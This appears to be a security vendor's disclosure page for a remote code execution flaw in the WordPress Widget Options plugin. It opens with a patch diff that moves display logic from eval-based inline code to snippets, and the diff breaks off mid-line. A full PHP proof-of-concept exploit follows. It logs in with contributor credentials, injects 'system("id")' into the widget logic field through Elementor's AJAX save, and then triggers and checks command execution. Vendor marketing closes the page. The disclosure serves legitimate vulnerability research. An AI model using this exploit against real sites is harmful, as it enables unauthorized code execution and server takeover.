+/**
+ * Add script to refresh snippets in Elementor editor
+ *
+ * @since 5.1
+ */
+add_action('elementor/editor/after_enqueue_scripts', function() {
+    ?>
+    <style>
+    /* Make legacy logic textarea readonly via CSS */
+    .elementor-control-widgetopts_logic textarea[data-setting="widgetopts_logic"] {
+        background: #f9f2f4 !important;
+        color: #c7254e !important;
+        font-family: monospace !important;
+        font-size: 12px !important;
+        cursor: not-allowed !important;
+        pointer-events: none !important;
+    }
+    </style>
+    <script>
+    (function() {
+        // Convert Elementor's native Select2 to AJAX mode for snippet dropdown
+        function initElementorSnippetSelect2() {
+            if (typeof jQuery === 'undefined') return;
+            var $select = jQuery('select[data-setting="widgetopts_logic_snippet_id"]');
+            if (!$select.length) return;
+
+            // Destroy Elementor's native Select2 if present
+            if ($select.hasClass('select2-hidden-accessible')) {
+                $select.select2('destroy');
+            }
+
+            // Init Select2 with AJAX transport for dynamic search
+            $select.select2({
+                placeholder: '— No Logic (Always Show) —',
+                allowClear: true,
+                width: '100%',
+                minimumInputLength: 0,
+                dropdownParent: $select.closest('.elementor-control-content'),
+                ajax: {
+                    url: ajaxurl,
+                    type: 'POST',
+                    dataType: 'json',
+                    delay: 250,
+                    data: function(params) {
+                        return {
+                            action: 'widgetopts_get_snippets_ajax',
+                            search: params.term || ''
+                        };
+                    },
+                    processResults: function(response) {
+                        var results = [{id: '', text: '— No Logic (Always Show) —'}];
+                        if (response.success && response.data && response.data.snippets) {
+                            response.data.snippets.forEach(function(snippet) {
+                                results.push({id: String(snippet.id), text: snippet.title, description: snippet.description || ''});
+                            });
+                        }
+                        return { results: results };
+                    },
+                    cache: true
+                }
+            });
+
+            // Add dynamic description element if not present
+            var $control = $select.closest('.elementor-control-content');
+            var $descEl = $control.find('.widgetopts-snippet-desc');
+            if (!$descEl.length) {
+                $descEl = jQuery('<p class="widgetopts-snippet-desc elementor-control-field-description" style="font-style: italic; color: #666; display:none;"></p>');
+                $control.append($descEl);
+            }
+
+            // Sync Select2 change back to Elementor model + update description
+            $select.off('select2:select.woDesc select2:unselect.woDesc');
+            $select.on('select2:select.woDesc', function(e) {
+                $select.trigger('change');
+                var desc = e.params.data.description || '';
+                if (desc) {
+                    $descEl.text(desc).show();
+                } else {
+                    $descEl.text('').hide();
+                }
+            });
+            $select.on('select2:unselect.woDesc', function() {
+                $select.trigger('change');
+                $descEl.text('').hide();
+            });
+        }
+
+        // Clear Legacy Logic button handler
+        function initClearLegacyLogicButton() {
+            if (typeof jQuery === 'undefined') return;
+            jQuery(document).off('click.woptsClearLegacy').on('click.woptsClearLegacy', '.widgetopts-clear-legacy-logic', function(e) {
+                e.preventDefault();
+                var btn = this;
+                var elElement = jQuery(btn).closest('.elementor-editor-element-settings-list, .elementor-editor-element-edit').closest('.elementor-element');
+                if (!elElement.length) {
+                    // Fallback: find from panel
+                    var panelEl = document.getElementById('elementor-panel');
+                    if (panelEl && typeof elementor !== 'undefined' && elementor.selection) {
+                        var selected = elementor.selection.getElements();
+                        if (selected && selected[0]) {
+                            var container = selected[0];
+                            if (typeof $e !== 'undefined') {
+                                $e.run('document/elements/settings', {
+                                    container: container,
+                                    settings: { widgetopts_logic: '', widgetopts_logic_cleared: '1' }
+                                });
+                            }
+                            jQuery(btn).closest('.elementor-control-widgetopts_legacy_warning').slideUp();
+                            return;
+                        }
+                    }
+                }
+                var dataId = elElement.attr('data-id');
+                if (dataId && typeof elementor !== 'undefined' && typeof $e !== 'undefined') {
+                    var container = elementor.getContainer(dataId);
+                    if (container) {
+                        $e.run('document/elements/settings', {
+                            container: container,
+                            settings: { widgetopts_logic: '', widgetopts_logic_cleared: '1' }
+                        });
+                    }
+                }
+                jQuery(btn).closest('.elementor-control-widgetopts_legacy_warning').slideUp();
+            });
+        }
+
+        // Make legacy logic textarea readonly via MutationObserver
+        var legacyObserver = null;
+        function makeLegacyLogicReadonly() {
+            if (typeof jQuery === 'undefined') return;
+            // Apply to any currently visible
+            jQuery('textarea[data-setting="widgetopts_logic"]').each(function() {
+                if (!this.hasAttribute('readonly')) {
+                    this.setAttribute('readonly', 'readonly');
+                }
+            });
+            // Watch for new textareas appearing in the panel
+            if (legacyObserver) legacyObserver.disconnect();
+            var panelEl = document.getElementById('elementor-panel');
+            if (!panelEl) return;
+            legacyObserver = new MutationObserver(function(mutations) {
+                var tas = panelEl.querySelectorAll('textarea[data-setting="widgetopts_logic"]:not([readonly])');
+                tas.forEach(function(ta) {
+                    ta.setAttribute('readonly', 'readonly');
+                });
+            });
+            legacyObserver.observe(panelEl, { childList: true, subtree: true });
+        }
+
+        // Wait for elementor to load and register hooks
+        function initElementorHooks() {
+            if (typeof elementor !== 'undefined' && elementor.hooks) {
+                elementor.hooks.addAction('panel/open_editor/widget', function() {
+                    setTimeout(initElementorSnippetSelect2, 500);
+                    setTimeout(makeLegacyLogicReadonly, 500);
+                    initClearLegacyLogicButton();
+                });
+                elementor.hooks.addAction('panel/open_editor/section', function() {
+                    setTimeout(initElementorSnippetSelect2, 500);
+                    setTimeout(makeLegacyLogicReadonly, 500);
+                    initClearLegacyLogicButton();
+                });
+                elementor.hooks.addAction('panel/open_editor/column', function() {
+                    setTimeout(initElementorSnippetSelect2, 500);
+                    setTimeout(makeLegacyLogicReadonly, 500);
+                    initClearLegacyLogicButton();
+                });
+            } else {
+                setTimeout(initElementorHooks, 500);
+            }
+        }
+
+        initElementorHooks();
+    })();
+    </script>
+    <?php
+});
--- a/widget-options/includes/pagebuilders/elementor/render.php
+++ b/widget-options/includes/pagebuilders/elementor/render.php
@@ -346,7 +346,7 @@
 				}
 			}

-			//widget logic
+			// User state check
 			if (isset($widget_options['state']) && 'activate' == $widget_options['state']) {
 				if (isset($settings['widgetopts_roles_state']) && !empty($settings['widgetopts_roles_state'])) {
 					//do state action here
@@ -360,8 +360,23 @@

 			//widget logic
 			if ('activate' == $widget_options['logic']) {
-				if (isset($settings['widgetopts_logic']) && !empty($settings['widgetopts_logic'])) {
-					//do widget logic
+				// New snippet-based system
+				if (isset($settings['widgetopts_logic_snippet_id']) && !empty($settings['widgetopts_logic_snippet_id'])) {
+					$snippet_id = $settings['widgetopts_logic_snippet_id'];
+					if (class_exists('WidgetOpts_Snippets_API')) {
+						$result = WidgetOpts_Snippets_API::execute_snippet($snippet_id);
+						if ($result === false) {
+							return $placeholder;
+						}
+					}
+				}
+				// Legacy support for old inline logic
+				elseif (isset($settings['widgetopts_logic']) && !empty($settings['widgetopts_logic'])) {
+					// Flag that legacy migration is needed
+					if (!get_option('wopts_display_logic_migration_required', false)) {
+						update_option('wopts_display_logic_migration_required', true);
+					}
+
 					$display_logic = stripslashes(trim($settings['widgetopts_logic']));
 					$display_logic = apply_filters('widget_options_logic_override', $display_logic);
 					$display_logic = apply_filters('extended_widget_options_logic_override', $display_logic);
@@ -371,9 +386,6 @@
 					if ($display_logic === true) {
 						return $content;
 					}
-					// if (stristr($display_logic, "return") === false) {
-					// 	$display_logic = "return (" . $display_logic . ");";
-					// }
 					$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
 					try {
 						if (!widgetopts_safe_eval($display_logic)) {
--- a/widget-options/includes/pagebuilders/siteorigin.php
+++ b/widget-options/includes/pagebuilders/siteorigin.php
@@ -25,8 +25,23 @@
                     if (isset($widgets['extended_widget_opts']) && !empty($widgets['extended_widget_opts'])) {

                         if (isset($panels_data['widgets'][$key]) && 'activate' == $widget_options['logic']) {
-                            // display widget logic
-                            if (isset($widgets['extended_widget_opts']['class']) && isset($widgets['extended_widget_opts']['class']['logic']) && !empty($widgets['extended_widget_opts']['class']['logic'])) {
+                            // New snippet-based system
+                            if (isset($widgets['extended_widget_opts']['class']['logic_snippet_id']) && !empty($widgets['extended_widget_opts']['class']['logic_snippet_id'])) {
+                                $snippet_id = $widgets['extended_widget_opts']['class']['logic_snippet_id'];
+                                if (class_exists('WidgetOpts_Snippets_API')) {
+                                    $result = WidgetOpts_Snippets_API::execute_snippet($snippet_id);
+                                    if ($result === false) {
+                                        unset($panels_data['widgets'][$key]);
+                                    }
+                                }
+                            }
+                            // Legacy support for old inline logic
+                            elseif (isset($widgets['extended_widget_opts']['class']['logic']) && !empty($widgets['extended_widget_opts']['class']['logic'])) {
+                                // Flag that legacy migration is needed
+                                if (!get_option('wopts_display_logic_migration_required', false)) {
+                                    update_option('wopts_display_logic_migration_required', true);
+                                }
+
                                 $display_logic = stripslashes(trim($widgets['extended_widget_opts']['class']['logic']));
                                 $display_logic = apply_filters('widget_options_logic_override', $display_logic);
                                 if ($display_logic === false) {
@@ -35,9 +50,6 @@
                                 if ($display_logic === true) {
                                     // return true;
                                 }
-                                // if (stristr($display_logic, "return") === false) {
-                                //     $display_logic = "return (" . $display_logic . ");";
-                                // }
                                 $display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
                                 try {
                                     if (!widgetopts_safe_eval($display_logic)) {
@@ -56,6 +68,100 @@
     }
 }

+/**
+ * Protect legacy display logic from modification/injection on SiteOrigin save.
+ * Intercepts panels_data meta save, restores old logic values from DB.
+ *
+ * @since 5.1
+ */
+if (!function_exists('widgetopts_siteorigin_protect_logic_on_save')) {
+    add_filter('update_post_metadata', 'widgetopts_siteorigin_protect_logic_on_save', 10, 5);
+    function widgetopts_siteorigin_protect_logic_on_save($check, $object_id, $meta_key, $meta_value, $prev_value) {
+        if ($meta_key !== 'panels_data') return $check;
+
+        static $processing = false;
+        if ($processing) return $check;
+
+        // Get old panels data from DB
+        $old_data = get_post_meta($object_id, 'panels_data', true);
+        if (!is_array($old_data) || empty($old_data['widgets'])) return $check;
+
+        // Collect known old logic values
+        $old_logic_set = array();
+        foreach ($old_data['widgets'] as $widget) {
+            if (isset($widget['extended_widget_opts']['class']['logic']) && $widget['extended_widget_opts']['class']['logic'] !== '') {
+                $old_logic_set[] = $widget['extended_widget_opts']['class']['logic'];
+            }
+        }
+        if (empty($old_logic_set)) return $check;
+
+        // Check new data
+        $new_data = is_array($meta_value) ? $meta_value : maybe_unserialize($meta_value);
+        if (!is_array($new_data) || empty($new_data['widgets'])) return $check;
+
+        $modified = false;
+        foreach ($new_data['widgets'] as &$widget) {
+            if (!isset($widget['extended_widget_opts']['class'])) continue;
+
+            $cls = &$widget['extended_widget_opts']['class'];
+            $wopt_ver = isset($cls['wopt_version']) ? $cls['wopt_version'] : '';
+            $has_snippet = !empty($cls['logic_snippet_id']);
+            $has_legacy = !empty($cls['logic']);
+
+            // If wopt_version >= 4.2: legacy logic is obsolete — clear it
+            if ($wopt_ver !== '' && version_compare($wopt_ver, '4.2', '>=')) {
+                if ($has_legacy) {
+                    $cls['logic'] = '';
+                    $modified = true;
+                }
+                unset($cls);
+                continue;
+            }
+
+            // Auto-clear legacy logic if snippet_id is already set (migration done)
+            if ($has_snippet && $has_legacy) {
+                $cls['logic'] = '';
+                $cls['wopt_version'] = WIDGETOPTS_VERSION;
+                $modified = true;
+                unset($cls);
+                continue;
+            }
+
+            // User intentionally cleared legacy logic via Clear button
+            if (!empty($cls['logic_cleared'])) {
+                $cls['logic'] = '';
+                unset($cls['logic_cleared']);
+                $cls['wopt_version'] = WIDGETOPTS_VERSION;
+                $modified = true;
+                unset($cls);
+                continue;
+            }
+
+            if (!isset($cls['logic'])) {
+                unset($cls);
+                continue;
+            }
+            $val = $cls['logic'];
+            if ($val !== '' && !in_array($val, $old_logic_set, true)) {
+                // Injected value not in old data — strip
+                $cls['logic'] = '';
+                $modified = true;
+            }
+
+            unset($cls);
+        }
+
+        if ($modified) {
+            $processing = true;
+            update_post_meta($object_id, 'panels_data', $new_data);
+            $processing = false;
+            return true; // Short-circuit original update
+        }
+
+        return $check;
+    }
+}
+
 if (!function_exists('widgetopts_siteorigin_panels_widget_classes')) {
     add_filter('siteorigin_panels_widget_classes', 'widgetopts_siteorigin_panels_widget_classes', 10, 4);
     function widgetopts_siteorigin_panels_widget_classes($classes, $widget, $instance, $widget_info)
--- a/widget-options/includes/scripts.php
+++ b/widget-options/includes/scripts.php
@@ -191,7 +191,7 @@
                   //       </a>';
                   // $sidebaropts .= '</div>';

-                  wp_localize_script('jquery-widgetopts-option-tabs', 'widgetopts10n', array('ajax_url' => admin_url('admin-ajax.php'), 'opts_page' => esc_url(admin_url('options-general.php?page=widgetopts_plugin_settings')), 'search_form' => $form, 'sidebaropts' => $sidebaropts, 'controls' => $btn_controls, 'translation' => array('manage_settings' => __('Manage Widget Options', 'widget-options'), 'search_chooser' => __('Search sidebar…', 'widget-options')), 'validate_expression_nonce' => wp_create_nonce('widgetopts-expression-nonce')));
+                  wp_localize_script('jquery-widgetopts-option-tabs', 'widgetopts10n', array('ajax_url' => admin_url('admin-ajax.php'), 'opts_page' => esc_url(admin_url('options-general.php?page=widgetopts_plugin_settings')), 'search_form' => $form, 'sidebaropts' => $sidebaropts, 'controls' => $btn_controls, 'translation' => array('manage_settings' => __('Manage Widget Options', 'widget-options'), 'search_chooser' => __('Search sidebar…', 'widget-options')), 'validate_expression_nonce' => wp_create_nonce('widgetopts-expression-nonce'), 'migration_nonce' => wp_create_nonce('widgetopts_migration_nonce'), 'migration_strings' => array('prompt_title' => __('Enter a name for the new snippet:', 'widget-options'), 'default_title' => __('Migrated Snippet', 'widget-options'), 'converting' => __('Converting...', 'widget-options'), 'success' => __('Converted successfully!', 'widget-options'), 'error' => __('Conversion failed.', 'widget-options'))));
             } else {
                   wp_localize_script('widgetopts-global-script', 'widgetopts10n', array('ajax_url' => admin_url('admin-ajax.php'), 'opts_page' => esc_url(admin_url('options-general.php?page=widgetopts_plugin_settings')), 'translation' => array('manage_settings' => __('Manage Widget Options', 'widget-options'), 'search_chooser' => __('Search sidebar…', 'widget-options')), 'validate_expression_nonce' => wp_create_nonce('widgetopts-expression-nonce')));
             }
@@ -342,9 +342,205 @@
                               });

                         });
+
+                        // Select2 AJAX config for dynamic snippet search
+                        var snippetSelect2Config = {
+                              placeholder: '<?php echo esc_js(__("— No Logic (Always Show) —", "widget-options")); ?>',
+                              allowClear: true,
+                              width: '100%',
+                              minimumInputLength: 0,
+                              ajax: {
+                                    url: ajaxurl,
+                                    type: 'POST',
+                                    dataType: 'json',
+                                    delay: 250,
+                                    data: function(params) {
+                                          return {
+                                                action: 'widgetopts_get_snippets_ajax',
+                                                search: params.term || ''
+                                          };
+                                    },
+                                    processResults: function(response) {
+                                          var results = [{id: '', text: '<?php echo esc_js(__("— No Logic (Always Show) —", "widget-options")); ?>'}];
+                                          if (response.success && response.data && response.data.snippets) {
+                                                response.data.snippets.forEach(function(snippet) {
+                                                      results.push({id: String(snippet.id), text: snippet.title, description: snippet.description || ''});
+                                                });
+                                          }
+                                          return { results: results };
+                                    },
+                                    cache: true
+                              }
+                        };
+
+                        // Update snippet description text next to the select
+                        function updateSnippetDesc($select, description) {
+                              var $desc = $select.closest('.widget-opts-logic').find('.widgetopts-snippet-desc');
+                              if ($desc.length) {
+                                    if (description) {
+                                          $desc.text(description).show();
+                                    } else {
+                                          $desc.text('').hide();
+                                    }
+                              }
+                        }
+
+                        // Init Select2 AJAX on a single select element
+                        function initSelect2Ajax($select) {
+                              if ($select.hasClass('select2-hidden-accessible')) {
+                                    $select.select2('destroy');
+                              }
+                              var config = jQuery.extend({}, snippetSelect2Config, {
+                                    dropdownParent: $select.closest('.widget-content, .widget-inside, form')
+                              });
+                              $select.select2(config);
+                              $select.off('select2:select.woDesc select2:unselect.woDesc');
+                              $select.on('select2:select.woDesc', function(e) {
+                                    updateSnippetDesc($select, e.params.data.description || '');
+                              });
+                              $select.on('select2:unselect.woDesc', function() {
+                                    updateSnippetDesc($select, '');
+                              });
+                        }
+
+                        // Initialize Select2 for all uninitialized snippet dropdowns
+                        function initSnippetSelect2() {
+                              jQuery('.widgetopts-select2-snippets:not(.select2-hidden-accessible)').each(function() {
+                                    initSelect2Ajax(jQuery(this));
+                              });
+                        }
+
+                        // Init on page load
+                        jQuery(document).ready(function() {
+                              setTimeout(initSnippetSelect2, 500);
+                        });
+
+                        // Re-init when widget is added/updated (WordPress fires widget-updated event)
+                        jQuery(document).on('widget-added widget-updated', function(e, widget) {
+                              setTimeout(function() {
+                                    jQuery(widget).find('.widgetopts-select2-snippets').each(function() {
+                                          initSelect2Ajax(jQuery(this));
+                                    });
+                              }, 300);
+                        });
+
+                        // Init when widget panel is opened (click on widget title)
+                        jQuery(document).on('click', '.widget-title, .widget-top', function() {
+                              setTimeout(initSnippetSelect2, 300);
+                        });
+
+                        // Init when Widget Options tabs are clicked
+                        jQuery(document).on('click', '.extended-widget-opts-tabs a, .extended-widget-opts-settings-tabnav-ul a', function() {
+                              setTimeout(initSnippetSelect2, 100);
+                        });
                   })();
             </script>
 <?php }
       add_action('admin_footer-widgets.php', 'widgetopts_widgets_footer_additional_script', 999);
 }
+
+if (!function_exists('widgetopts_siteorigin_footer_script')) {
+      function widgetopts_siteorigin_footer_script()
+      {
+            global $widget_options;
+            // Only load for SiteOrigin pages
+            if (!isset($widget_options['siteorigin']) || $widget_options['siteorigin'] !== 'activate') {
+                  return;
+            }
+      ?>
+            <script>
+                  (function($) {
+                        // Select2 AJAX config for dynamic snippet search
+                        var soSnippetConfig = {
+                              placeholder: '<?php echo esc_js(__("— No Logic (Always Show) —", "widget-options")); ?>',
+                              allowClear: true,
+                              width: '100%',
+                              minimumInputLength: 0,
+                              ajax: {
+                                    url: ajaxurl,
+                                    type: 'P

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27984 - Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.1.3 - Authenticated (Contributor+) Remote Code Execution
<?php
/**
 * Proof of Concept for CVE-2026-27984
 * Requires Contributor+ WordPress credentials
 * Targets Beaver Builder or Elementor widget logic fields
 */

$target_url = 'http://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to execute system command via PHP
$payload = 'system("id"); return true;';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check if login successful by looking for admin bar
if (strpos($response, 'wp-admin-bar') === false) {
    die('Login failed. Check credentials.');
}

// For Beaver Builder exploitation: Create or edit a page with Beaver Builder
// This example assumes we're editing an existing page with ID 1
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=1&action=edit');
$response = curl_exec($ch);

// Extract nonce for Beaver Builder save (simplified - real exploitation would need proper nonce extraction)
// In real exploitation, attacker would use the Beaver Builder interface to inject logic
// This PoC demonstrates the vulnerable parameter structure

// Example payload for Beaver Builder widget settings
$beaver_payload = [
    'node_id' => 'widget-123',
    'settings' => [
        'widgetopts_settings_logic' => $payload,
        'type' => 'widget'
    ],
    'action' => 'fl_builder_save_layout'
];

// For Elementor exploitation
$elementor_payload = [
    'editor_post_id' => 1,
    'actions' => json_encode([
        'action' => 'save_builder',
        'data' => [
            'elements' => [[
                'id' => 'element-123',
                'settings' => [
                    'widgetopts_logic' => $payload
                ]
            ]]
        ]
    ])
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'elementor_ajax',
    'actions' => json_encode([
        'action' => 'save_builder',
        'data' => [
            'elements' => [[
                'id' => 'test-element',
                'settings' => [
                    'widgetopts_logic' => $payload
                ],
                'elType' => 'widget'
            ]]
        ]
    ])
]));

$response = curl_exec($ch);

// Trigger the vulnerability by visiting the page where widget renders
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=1');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Check for command execution output
if (strpos($response, 'uid=') !== false) {
    echo 'Vulnerable: Command executed successfullyn';
    // Extract command output
    preg_match('/uid=(d+).*gid=(d+)/', $response, $matches);
    if ($matches) {
        echo 'User ID: ' . $matches[1] . 'n';
        echo 'Group ID: ' . $matches[2] . 'n';
    }
} else {
    echo 'Target may not be vulnerable or payload not triggeredn';
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School